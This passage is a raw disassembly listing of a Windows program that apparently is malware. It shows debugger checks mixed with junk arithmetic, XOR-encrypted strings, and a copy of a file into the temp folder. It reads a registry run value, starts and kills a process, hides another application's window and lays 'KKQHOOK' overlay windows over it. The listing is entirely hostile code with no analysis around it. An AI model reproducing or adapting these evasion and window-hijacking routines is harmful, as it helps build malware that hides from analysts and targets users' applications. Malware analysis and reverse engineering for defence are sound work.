		mov	[ebp+var_1], al
		leave
		retn
sub_408741	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_408779(void *Src, size_t Size, int)

sub_408779	proc near		; CODE XREF: sub_4098A8+4E0p

var_71		= word ptr -71h
var_6F		= byte ptr -6Fh
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
Buf1		= byte ptr -62h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
lpAddress	= dword	ptr -18h
Buf2		= byte ptr -14h
var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 74h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+Src]
		call	GetProcessHeap	; GetProcessHeap
		lea	edi, [ebp+var_68]
		lea	esi, dword_446514
		mov	ecx, 3
		rep movsw
		call	GetVersion	; GetVersion
		mov	eax, dword_44651A
		mov	[ebp+var_6C], eax
		mov	eax, [ebp+Size]
		add	eax, 40h
		jge	short loc_4087B3
		add	eax, 3Fh


loc_4087B3:				; CODE XREF: sub_408779+35j
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi		; dwSize
		call	sub_40864E
		pop	ecx
		mov	[ebp+lpAddress], eax
		mov	[ebp+var_22], 7A30h
		sub	[ebp+var_22], 748Fh
		mov	eax, [ebp+Size]
		add	eax, 40h
		jge	short loc_4087DC
		add	eax, 3Fh


loc_4087DC:				; CODE XREF: sub_408779+5Ej
		sar	eax, 6
		mov	edi, eax
		shl	edi, 6
		push	edi
		push	[ebp+lpAddress]
		call	RtlZeroMemory	; RtlZeroMemory
		lea	edi, [ebp+var_6F]
		lea	esi, word_44651E
		mov	ecx, 3
		rep movsb
		push	[ebp+Size]	; Size
		push	ebx		; Src
		push	[ebp+lpAddress]	; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_1C], 2FF0h
		mov	eax, [ebp+var_1C]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_1C], edx
		lea	eax, [ebp+Buf2]
		push	eax
		call	sub_40BDBE
		mov	ebx, [ebp+lpAddress]
		and	[ebp+var_4], 0
		jmp	short loc_408849
; ---------------------------------------------------------------------------


loc_40882F:				; CODE XREF: sub_408779+E1j
		mov	ax, word_446521
		mov	[ebp+var_71], ax
		push	ebx
		lea	eax, [ebp+Buf2]
		push	eax
		call	sub_40BDE5
		add	ebx, 40h
		inc	[ebp+var_4]


loc_408849:				; CODE XREF: sub_408779+B4j
		mov	eax, [ebp+Size]
		add	eax, 40h
		jge	short loc_408854
		add	eax, 3Fh


loc_408854:				; CODE XREF: sub_408779+D6j
		sar	eax, 6
		cmp	[ebp+var_4], eax
		jl	short loc_40882F
		push	[ebp+lpAddress]	; lpAddress
		call	sub_40867D
		mov	[ebp+var_20], 2FAh
		mov	eax, [ebp+var_20]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_20], edx
		lea	eax, [ebp+Buf1]
		push	eax
		push	[ebp+arg_8]
		call	sub_408741
		mov	eax, dword_44650C
		add	eax, 2
		push	eax		; Size
		lea	eax, [ebp+Buf2]
		push	eax		; Buf2
		lea	eax, [ebp+Buf1]
		push	eax		; Buf1
		call	memcmp	; memcmp
		add	esp, 18h
		or	eax, eax
		jz	short loc_4088A3
		xor	eax, eax
		inc	eax
		jmp	short loc_4088AA
; ---------------------------------------------------------------------------


loc_4088A3:				; CODE XREF: sub_408779+123j
		call	IsDebuggerPresent	; IsDebuggerPresent
		xor	eax, eax


loc_4088AA:				; CODE XREF: sub_408779+128j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408779	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_44652C
		lea	eax, ds:439560h[eax]
		push	eax
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 2A0h
		xor	edi, edi
		jmp	short loc_4088F5
; ---------------------------------------------------------------------------


loc_4088DE:				; CODE XREF: .text:004088F7j
		mov	eax, dword_44652C
		add	eax, edi
		lea	eax, ds:439560h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 1Bh
		mov	[eax], dl
		inc	edi


loc_4088F5:				; CODE XREF: .text:004088DCj
		cmp	edi, esi
		jl	short loc_4088DE
		mov	dword ptr [ebp-8], 29Ch
		mov	eax, dword_44652C
		add	eax, esi
		mov	byte ptr dword_439560[eax], 0
		mov	edi, dword_44652C
		mov	eax, edi
		inc	eax
		add	eax, esi
		mov	dword_44652C, eax
		cmp	eax, 0DDFh
		jle	short loc_40892D
		and	dword_44652C, 0


loc_40892D:				; CODE XREF: .text:00408924j
		mov	dword ptr [ebp-0Ch], 0D8h
		lea	eax, dword_439560[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40893E	proc near		; CODE XREF: sub_4098A8+413p
					; sub_4098A8+42Bp

var_35		= byte ptr -35h
var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_25		= byte ptr -25h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1B		= byte ptr -1Bh
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		call	GetVersion	; GetVersion
		lea	edi, [ebp+var_1B]
		lea	esi, aVlvh__0	; "vlVh_"
		mov	ecx, 3
		rep movsw
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	ebx, [ebp+arg_0]
		jmp	loc_408A7F
; ---------------------------------------------------------------------------


loc_40897F:				; CODE XREF: sub_40893E+14Cj
		lea	edi, [ebp+var_20]
		lea	esi, dword_446938
		mov	ecx, 5
		rep movsb
		movsx	edi, byte ptr [ebx]
		shl	edi, 2
		mov	edi, dword_446538[edi]
		mov	[ebp+var_4], edi
		call	GetLastError
		cmp	edi, 0FFFFFFFFh
		jz	loc_408A7E
		call	GetCurrentThreadId	; GetCurrentThreadId
		mov	eax, [ebp+var_10]
		or	eax, eax
		jl	loc_408A78
		cmp	eax, 3
		jg	loc_408A78
		jmp	off_446948[eax*4]
; ---------------------------------------------------------------------------
		mov	[ebp+var_25], 38h
		sub	[ebp+var_25], 0BCh


loc_4089D5:				; CODE XREF: sub_40893E+88j
					; DATA XREF: .text:off_446948o
		inc	[ebp+var_10]
		lea	edi, [ebp+var_34]
		lea	esi, byte_44693D
		movsd
		movsd
		jmp	loc_408A78
; ---------------------------------------------------------------------------


loc_4089E8:				; CODE XREF: sub_40893E+88j
					; DATA XREF: .text:0044694Co
		mov	edi, [ebp+var_14]
		shl	edi, 2
		mov	esi, [ebp+var_4]
		and	esi, 30h
		sar	esi, 4
		or	edi, esi
		mov	edx, edi
		mov	[ebp+var_15], dl
		call	GetLastError
		mov	eax, [ebp+var_8]
		inc	[ebp+var_8]
		mov	dl, [ebp+var_15]
		mov	[eax], dl
		inc	[ebp+var_10]
		jmp	short loc_408A78
; ---------------------------------------------------------------------------


loc_408A13:				; CODE XREF: sub_40893E+88j
					; DATA XREF: .text:00446950o
		mov	edi, [ebp+var_14]
		and	edi, 0Fh
		shl	edi, 4
		mov	esi, [ebp+var_4]
		and	esi, 3Ch
		sar	esi, 2
		or	edi, esi
		mov	edx, edi
		mov	[ebp+var_15], dl
		lea	edi, [ebp+var_35]
		lea	esi, byte_446945
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, [ebp+var_8]
		inc	[ebp+var_8]
		mov	dl, [ebp+var_15]
		mov	[eax], dl
		inc	[ebp+var_10]
		jmp	short loc_408A78
; ---------------------------------------------------------------------------


loc_408A4A:				; CODE XREF: sub_40893E+88j
					; DATA XREF: .text:00446954o
		mov	edi, [ebp+var_14]
		and	edi, 3
		shl	edi, 6
		or	edi, [ebp+var_4]
		mov	edx, edi
		mov	[ebp+var_15], dl
		mov	[ebp+var_2C], 6257h
		add	[ebp+var_2C], 0D1Fh
		mov	eax, [ebp+var_8]
		inc	[ebp+var_8]
		mov	dl, [ebp+var_15]
		mov	[eax], dl
		and	[ebp+var_10], 0


loc_408A78:				; CODE XREF: sub_40893E+79j
					; sub_40893E+82j ...
		mov	eax, [ebp+var_4]
		mov	[ebp+var_14], eax


loc_408A7E:				; CODE XREF: sub_40893E+69j
		inc	ebx


loc_408A7F:				; CODE XREF: sub_40893E+3Cj
		cmp	byte ptr [ebx],	0
		jz	short loc_408A90
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_8], eax
		jb	loc_40897F


loc_408A90:				; CODE XREF: sub_40893E+144j
		cmp	byte ptr [ebx],	0
		jnz	short loc_408AB1
		mov	[ebp+var_1E], 214Eh
		movzx	eax, [ebp+var_1E]
		imul	eax, 7B26h
		mov	[ebp+var_1E], ax
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+arg_4]
		jmp	short loc_408AB4
; ---------------------------------------------------------------------------


loc_408AB1:				; CODE XREF: sub_40893E+155j
		or	eax, 0FFFFFFFFh


loc_408AB4:				; CODE XREF: sub_40893E+171j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40893E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_408AB9(void *Src, size_t Size)

sub_408AB9	proc near		; CODE XREF: sub_408B4C+88p
					; sub_408B4C+E4p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
Size		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+Size]
		push	esi		; Size
		push	[ebp+Src]	; Src
		mov	eax, dword_446960
		lea	eax, ds:413F30h[eax]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_4], 278h
		xor	edi, edi
		jmp	short loc_408B02
; ---------------------------------------------------------------------------


loc_408AE8:				; CODE XREF: sub_408AB9+4Bj
		mov	eax, dword_446960
		add	eax, edi
		lea	eax, ds:413F30h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 9Ah
		mov	[eax], dl
		inc	edi


loc_408B02:				; CODE XREF: sub_408AB9+2Dj
		cmp	edi, esi
		jl	short loc_408AE8
		mov	[ebp+var_8], 2C7h
		mov	eax, dword_446960
		add	eax, esi
		mov	byte ptr dword_413F30[eax], 0
		mov	edi, dword_446960
		mov	eax, edi
		lea	eax, [eax+esi+6]
		mov	dword_446960, eax
		cmp	eax, 0DB8h
		jle	short loc_408B3B
		and	dword_446960, 0


loc_408B3B:				; CODE XREF: sub_408AB9+79j
		mov	[ebp+var_C], 2EEh
		lea	eax, dword_413F30[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_408AB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B4C	proc near		; CODE XREF: sub_4098A8:loc_40A8A0p

var_38C		= dword	ptr -38Ch
lpSubKey	= dword	ptr -388h
var_383		= dword	ptr -383h
var_37F		= byte ptr -37Fh
Type		= dword	ptr -378h
var_372		= word ptr -372h
var_370		= dword	ptr -370h
cbData		= dword	ptr -36Ch
Data		= byte ptr -365h
ProcessInformation= _PROCESS_INFORMATION ptr -261h
var_251		= byte ptr -251h
var_250		= byte ptr -250h
var_24F		= byte ptr -24Fh
CommandLine	= byte ptr -24Eh
var_14A		= word ptr -14Ah
Dst		= dword	ptr -148h
var_11C		= dword	ptr -11Ch
var_118		= word ptr -118h
NewFileName	= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		call	IsDebuggerPresent	; IsDebuggerPresent
		mov	eax, dword_446964
		mov	[ebp+var_370], eax
		call	GetCurrentThreadId	; GetCurrentThreadId
		lea	eax, [ebp+NewFileName]
		push	eax		; lpBuffer
		push	104h		; nBufferLength
		call	GetTempPathA	; GetTempPathA
		mov	[ebp+var_14A], 21A4h
		movzx	eax, [ebp+var_14A]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_14A], ax
		lea	ecx, [ebp+NewFileName]
		or	eax, 0FFFFFFFFh


loc_408BA4:				; CODE XREF: sub_408B4C+5Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_408BA4
		mov	edi, eax
		mov	esi, dword_446958
		add	esi, 1
		push	esi
		lea	esi, [ebp+NewFileName]
		add	esi, edi
		push	esi
		call	sub_40172F
		add	esp, 8
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	4		; Size
		push	offset dword_446E74 ; Src
		call	sub_408AB9
		add	esp, 8
		push	eax		; Source
		lea	edi, [ebp+NewFileName]
		push	edi		; Dest
		call	strcat	; strcat
		add	esp, 8
		push	0		; bFailIfExists
		lea	eax, [ebp+NewFileName]
		push	eax		; lpNewFileName
		push	offset ExistingFileName	; lpExistingFileName
		call	CopyFileA	; CopyFileA
		call	GetLastError
		mov	ax, word_446968
		mov	[ebp+var_372], ax
		mov	[ebp+cbData], 104h
		mov	[ebp+var_24F], 22h
		sub	[ebp+var_24F], 0CDh
		push	21h		; Size
		push	offset word_446E52 ; Src
		call	sub_408AB9
		add	esp, 8
		mov	[ebp+lpSubKey],	eax
		push	4		; Size
		push	offset byte_446E4D ; Src
		call	sub_408AB9
		add	esp, 8
		lea	edi, [ebp+Type]
		push	edi		; lpType
		lea	edi, [ebp+cbData]
		push	edi		; lpcbData
		lea	edi, [ebp+Data]
		push	edi		; lpData
		push	eax		; lpValueName
		mov	edi, [ebp+lpSubKey]
		push	[ebp+lpSubKey]	; lpSubKey
		push	80000002h	; hKey
		call	sub_4014C9
		add	esp, 18h
		mov	ebx, eax
		call	IsDebuggerPresent	; IsDebuggerPresent
		cmp	ebx, 0
		jz	loc_408E0D
		call	GetProcessHeap	; GetProcessHeap
		lea	edi, [ebp+var_37F]
		lea	esi, word_44696A
		mov	ecx, 7
		rep movsb
		push	104h		; nSize
		lea	eax, [ebp+CommandLine]
		push	eax		; lpDst
		lea	eax, [ebp+Data]
		push	eax		; lpSrc
		call	ExpandEnvironmentStringsA	; ExpandEnvironmentStringsA
		call	GetVersion	; GetVersion
		push	0Eh		; Size
		push	offset word_446E3E ; Src
		call	sub_408AB9
		push	eax		; Source
		lea	edi, [ebp+CommandLine]
		push	edi		; Dest
		call	strcat	; strcat
		call	GetTickCount	; GetTickCount
		lea	eax, [ebp+NewFileName]
		push	eax		; Source
		lea	eax, [ebp+CommandLine]
		push	eax		; Dest
		call	strcat	; strcat
		call	GetLastError
		call	sub_4043CA
		mov	ebx, eax
		mov	eax, dword_446971
		mov	[ebp+var_383], eax
		push	44h		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		push	44h		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 30h
		mov	[ebp+var_250], 69h
		add	[ebp+var_250], 1
		mov	[ebp+Dst], 44h
		mov	[ebp+var_251], 19h
		movzx	eax, [ebp+var_251]
		imul	eax, 1598h
		mov	[ebp+var_251], al
		mov	[ebp+var_11C], 1
		mov	[ebp+var_118], 1
		or	ebx, ebx
		jz	short loc_408D84
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_40446E
		pop	ecx
		jmp	short loc_408D8D
; ---------------------------------------------------------------------------


loc_408D84:				; CODE XREF: sub_408B4C+227j
		mov	[ebp+var_118], 0


loc_408D8D:				; CODE XREF: sub_408B4C+236j
		lea	eax, [ebp+ProcessInformation]
		push	eax		; lpProcessInformation
		lea	eax, [ebp+Dst]
		push	eax		; lpStartupInfo
		push	0		; lpCurrentDirectory
		push	0		; lpEnvironment
		push	20h		; dwCreationFlags
		push	0		; bInheritHandles
		push	0		; lpThreadAttributes
		push	0		; lpProcessAttributes
		lea	eax, [ebp+CommandLine]
		push	eax		; lpCommandLine
		push	0		; lpApplicationName
		call	CreateProcessA	; CreateProcessA
		or	eax, eax
		jz	short loc_408E01
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	[ebp+ProcessInformation.hThread] ; hObject
		call	CloseHandle	; CloseHandle
		mov	eax, dword_446975
		mov	[ebp+var_38C], eax
		push	0EA60h		; Duration
		call	_sleep	; _sleep
		pop	ecx
		call	IsDebuggerPresent	; IsDebuggerPresent
		push	0		; uExitCode
		push	[ebp+ProcessInformation.hProcess] ; hProcess
		call	TerminateProcess	; TerminateProcess
		push	[ebp+ProcessInformation.hProcess] ; hObject
		call	CloseHandle	; CloseHandle
		call	GetCurrentThreadId	; GetCurrentThreadId


loc_408E01:				; CODE XREF: sub_408B4C+26Bj
		lea	eax, [ebp+NewFileName]
		push	eax		; lpFileName
		call	DeleteFileA	; DeleteFileA


loc_408E0D:				; CODE XREF: sub_408B4C+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_408E12(HWND hWnd, int)

sub_408E12	proc near		; CODE XREF: sub_408ED0+2Cp
					; sub_408ED0+46p ...

var_1018	= byte ptr -1018h
var_1011	= byte ptr -1011h
var_1009	= byte ptr -1009h
ClassName	= byte ptr -1001h
var_2		= word ptr -2
hWnd		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1018h
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_1009]
		lea	esi, byte_446979
		movsd
		movsd
		push	5		; uCmd
		push	[ebp+hWnd]	; hWnd
		call	GetWindow	; GetWindow
		mov	ebx, eax


loc_408E3C:				; CODE XREF: sub_408E12+B4j
		or	ebx, ebx
		jnz	short loc_408E47
		xor	eax, eax
		jmp	loc_408ECB
; ---------------------------------------------------------------------------


loc_408E47:				; CODE XREF: sub_408E12+2Cj
		mov	[ebp+var_2], 6C09h
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		push	0FFFh		; nMaxCount
		lea	eax, [ebp+ClassName]
		push	eax		; lpClassName
		push	ebx		; hWnd
		call	GetClassNameA	; GetClassNameA
		lea	edi, [ebp+var_1011]
		lea	esi, aHjvmnia	; "hJVmnIA"
		movsd
		movsd
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+ClassName]
		push	eax
		call	sub_40181A
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_408EA4
		mov	eax, ebx
		jmp	short loc_408ECB
; ---------------------------------------------------------------------------


loc_408EA4:				; CODE XREF: sub_408E12+8Cj
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	2		; uCmd
		push	ebx		; hWnd
		call	GetWindow	; GetWindow
		mov	ebx, eax
		lea	edi, [ebp+var_1018]
		lea	esi, aP_rX	; "p+_R'X"
		mov	ecx, 7
		rep movsb
		jmp	loc_408E3C
; ---------------------------------------------------------------------------


loc_408ECB:				; CODE XREF: sub_408E12+30j
					; sub_408E12+90j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408E12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_408ED0(HWND hWnd)

sub_408ED0	proc near		; CODE XREF: sub_40B3E8+1D6p

var_184		= dword	ptr -184h
var_180		= dword	ptr -180h
var_179		= byte ptr -179h
var_178		= dword	ptr -178h
lParam		= byte ptr -172h
var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
lpClassName	= dword	ptr -168h
var_163		= byte ptr -163h
var_15D		= byte ptr -15Dh
var_158		= byte ptr -158h
var_150		= dword	ptr -150h
var_14C		= byte ptr -14Ch
var_146		= byte ptr -146h
var_143		= byte ptr -143h
var_13B		= byte ptr -13Bh
var_138		= byte ptr -138h
wParam		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_126		= word ptr -126h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_119		= byte ptr -119h
var_118		= word ptr -118h
var_116		= word ptr -116h
var_114		= word ptr -114h
Rect		= tagRECT ptr -112h
WindowName	= byte ptr -102h
var_3		= byte ptr -3
var_2		= word ptr -2
hWnd		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 184h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_118], 37B0h
		inc	[ebp+var_118]
		push	9		; Size
		push	offset aRIA	; "»·›¶¾±· "
		call	sub_40129C
		push	eax		; int
		push	[ebp+hWnd]	; hWnd
		call	sub_408E12
		mov	ebx, eax
		call	GetCurrentProcessId	; GetCurrentProcessId
		push	8		; Size
		push	offset aSmdJJ	; "‘¬¤¸»¦±¦"
		call	sub_40129C
		push	eax		; int
		push	ebx		; hWnd
		call	sub_408E12
		mov	hWnd, eax
		mov	[ebp+var_114], 6B90h
		movzx	eax, [ebp+var_114]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_114], ax
		push	0		; nCmdShow
		push	hWnd		; hWnd
		call	ShowWindow	; ShowWindow
		call	GetTickCount	; GetTickCount
		lea	eax, [ebp+Rect]
		push	eax		; lpRect
		push	ebx		; hWnd
		call	GetWindowRect	; GetWindowRect
		mov	[ebp+var_119], 0EFh
		add	[ebp+var_119], 0D4h
		push	0		; lpParam
		push	hInstance	; hInstance
		push	0		; hMenu
		push	ebx		; hWndParent
		mov	eax, [ebp+Rect.bottom]
		sub	eax, [ebp+Rect.top]
		push	eax		; nHeight
		mov	eax, [ebp+Rect.right]
		sub	eax, [ebp+Rect.left]
		push	eax		; nWidth
		push	0		; Y
		push	0		; X
		push	50800000h	; dwStyle
		push	offset WindowName ; lpWindowName
		push	offset ClassName ; "KKQHOOK"
		push	200h		; dwExStyle
		call	CreateWindowExA	; CreateWindowExA
		mov	hWndParent, eax
		lea	edi, [ebp+var_138]
		lea	esi, aFxTE	; "fX $t!E"
		movsd
		movsd
		push	6		; Size
		push	offset byte_446E1B ; Src
		call	sub_40129C
		mov	[ebp+lpClassName], eax
		push	19h		; Size
		push	offset byte_446E01 ; Src
		call	sub_40129C
		push	0		; lpParam
		push	hInstance	; hInstance
		push	0		; hMenu
		push	hWndParent	; hWndParent
		mov	edi, dword_43C098
		mov	esi, edi
		add	esi, 2Ah
		push	esi		; nHeight
		mov	esi, [ebp+Rect.right]
		sub	esi, [ebp+Rect.left]
		sub	esi, 64h
		push	esi		; nWidth
		add	edi, 2
		push	edi		; Y
		push	edi		; X
		push	50800000h	; dwStyle
		push	eax		; lpWindowName
		mov	edi, [ebp+lpClassName]
		push	edi		; lpClassName
		push	0		; dwExStyle
		call	CreateWindowExA	; CreateWindowExA
		mov	dword_41D898, eax
		call	GetProcessHeap	; GetProcessHeap
		push	6		; Size
		push	offset byte_446E1B ; Src
		call	sub_40129C
		push	0		; lpParam
		push	hInstance	; hInstance
		push	0		; hMenu
		push	hWndParent	; hWndParent
		mov	edi, dword_43C098
		add	edi, 11Ah
		push	edi		; nHeight
		mov	edi, [ebp+Rect.right]
		sub	edi, [ebp+Rect.left]
		sub	edi, 64h
		push	edi		; nWidth
		mov	edi, dword_43C098
		add	edi, 3Fh
		push	edi		; Y
		mov	edi, dword_43C098
		add	edi, 2
		push	edi		; X
		push	50800009h	; dwStyle
		push	offset WindowName ; lpWindowName
		push	eax		; lpClassName
		push	0		; dwExStyle
		call	CreateWindowExA	; CreateWindowExA
		mov	dword_430C28, eax
		call	GetCurrentThreadId	; GetCurrentThreadId
		push	0		; pszFaceName
		push	2		; iPitchAndFamily
		push	0		; iQuality
		push	0		; iClipPrecision
		push	5		; iOutPrecision
		push	1		; iCharSet
		push	0		; bStrikeOut
		push	0		; bUnderline
		push	0		; bItalic
		push	2BCh		; cWeight
		push	0		; cOrientation
		push	0		; cEscapement
		mov	eax, dword_43C098
		mov	edx, 1Ah
		sub	edx, eax
		push	edx		; cWidth
		mov	eax, dword_43C098
		add	eax, 2
		push	eax		; cHeight
		call	CreateFontA	; CreateFontA
		mov	[ebp+wParam], eax
		lea	edi, [ebp+var_13B]
		lea	esi, aQa	; "qA"
		mov	ecx, 3
		rep movsb
		push	1		; lParam
		push	[ebp+wParam]	; wParam
		push	30h		; Msg
		push	dword_41D898	; hWnd
		call	SendMessageA	; SendMessageA
		push	8		; Size
		push	offset dword_446DF8 ; Src
		call	sub_40129C
		push	0		; lpParam
		push	hInstance	; hInstance
		push	0		; hMenu
		push	dword_430C28	; hWndParent
		mov	edi, dword_43C098
		add	edi, 11Ah
		push	edi		; nHeight
		mov	edi, dword_43C098
		add	edi, 20h
		push	edi		; nWidth
		mov	edi, dword_43C098
		add	edi, 28h
		push	edi		; Y
		mov	edi, dword_43C098
		add	edi, 2
		push	edi		; X
		push	50800003h	; dwStyle
		push	offset WindowName ; lpWindowName
		push	eax		; lpClassName
		push	0		; dwExStyle
		call	CreateWindowExA	; CreateWindowExA
		mov	dword_432DC0, eax
		push	8		; Size
		push	offset dword_446DF8 ; Src
		call	sub_40129C
		add	esp, 48h
		push	0		; lpParam
		push	hInstance	; hInstance
		push	0		; hMenu
		push	dword_430C28	; hWndParent
		mov	edi, dword_43C098
		add	edi, 11Ah
		push	edi		; nHeight
		mov	edi, dword_43C098
		add	edi, 2Ah
		push	edi		; nWidth
		mov	edi, dword_43C098
		add	edi, 28h
		push	edi		; Y
		mov	edi, dword_43C094
		add	edi, 4Dh
		push	edi		; X
		push	50800003h	; dwStyle
		push	offset WindowName ; lpWindowName
		push	eax		; lpClassName
		push	0		; dwExStyle
		call	CreateWindowExA	; CreateWindowExA
		mov	dword_41E8C4, eax
		mov	[ebp+var_116], 5444h
		movzx	eax, [ebp+var_116]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_116], ax
		mov	[ebp+var_2], 1
		jmp	loc_409299
; ---------------------------------------------------------------------------


loc_4091E0:				; CODE XREF: sub_408ED0+3D0j
		call	IsDebuggerPresent	; IsDebuggerPresent
		lea	edi, [ebp+var_179]
		lea	esi, byte_44699B
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	4		; Size
		push	offset byte_446DF3 ; Src
		call	sub_40129C
		movzx	edi, [ebp+var_2]
		push	edi
		push	eax		; Format
		lea	edi, [ebp+lParam]
		push	edi		; Dest
		call	sprintf	; sprintf
		mov	[ebp+var_178], 269Fh
		mov	eax, 5D57h
		mul	[ebp+var_178]
		mov	[ebp+var_180], eax
		mov	[ebp+var_178], eax
		lea	eax, [ebp+lParam]
		push	eax		; lParam
		push	0		; wParam
		push	143h		; Msg
		push	dword_432DC0	; hWnd
		call	SendMessageA	; SendMessageA
		push	6		; Size
		push	offset dword_446DEC ; Src
		call	sub_40129C
		movzx	edi, [ebp+var_2]
		add	edi, 4
		push	edi
		push	eax		; Format
		lea	edi, [ebp+lParam]
		push	edi		; Dest
		call	sprintf	; sprintf
		add	esp, 28h
		call	GetVersion	; GetVersion
		lea	eax, [ebp+lParam]
		push	eax		; lParam
		push	0		; wParam
		push	143h		; Msg
		push	dword_41E8C4	; hWnd
		call	SendMessageA	; SendMessageA
		call	GetCurrentThreadId	; GetCurrentThreadId
		inc	[ebp+var_2]


loc_409299:				; CODE XREF: sub_408ED0+30Bj
		movzx	eax, [ebp+var_2]
		cmp	eax, 0Dh
		jl	loc_4091E0
		push	6		; Size
		push	offset byte_446E1B ; Src
		call	sub_40129C
		mov	[ebp+var_16C], eax
		push	10h		; Size
		push	offset byte_446DDB ; Src
		call	sub_40129C
		push	0		; lpParam
		push	hInstance	; hInstance
		push	0		; hMenu
		push	hWndParent	; hWndParent
		mov	edi, dword_43C098
		mov	esi, 22h
		sub	esi, edi
		push	esi		; nHeight
		mov	edi, dword_43C098
		add	edi, 55h
		push	edi		; nWidth
		mov	edi, dword_43C098
		add	edi, 5Ch
		push	edi		; Y
		mov	edi, dword_43C098
		add	edi, 0B1h
		push	edi		; X
		push	50000000h	; dwStyle
		push	eax		; lpWindowName
		mov	edi, [ebp+var_16C]
		push	edi		; lpClassName
		push	0		; dwExStyle
		call	CreateWindowExA	; CreateWindowExA
		mov	dword_413F20, eax
		push	6		; Size
		push	offset byte_446E1B ; Src
		call	sub_40129C
		mov	[ebp+var_170], eax
		push	0Fh		; Size
		push	offset byte_446DCB ; Src
		call	sub_40129C
		push	0		; lpParam
		push	hInstance	; hInstance
		push	0		; hMenu
		push	hWndParent	; hWndParent
		mov	edi, dword_43C094
		add	edi, 0Bh
		push	edi		; nHeight
		mov	edi, dword_43C098
		add	edi, 45h
		push	edi		; nWidth
		mov	edi, dword_43C098
		add	edi, 7Fh
		push	edi		; Y
		mov	edi, dword_43C094
		add	edi, 0BEh
		push	edi		; X
		push	50000000h	; dwStyle
		push	eax		; lpWindowName
		mov	edi, [ebp+var_170]
		push	edi		; lpClassName
		push	0		; dwExStyle
		call	CreateWindowExA	; CreateWindowExA
		mov	dword_432DB8, eax
		push	6		; Size
		push	offset byte_446E1B ; Src
		call	sub_40129C
		mov	[ebp-174h], eax
		push	0Ch		; Size
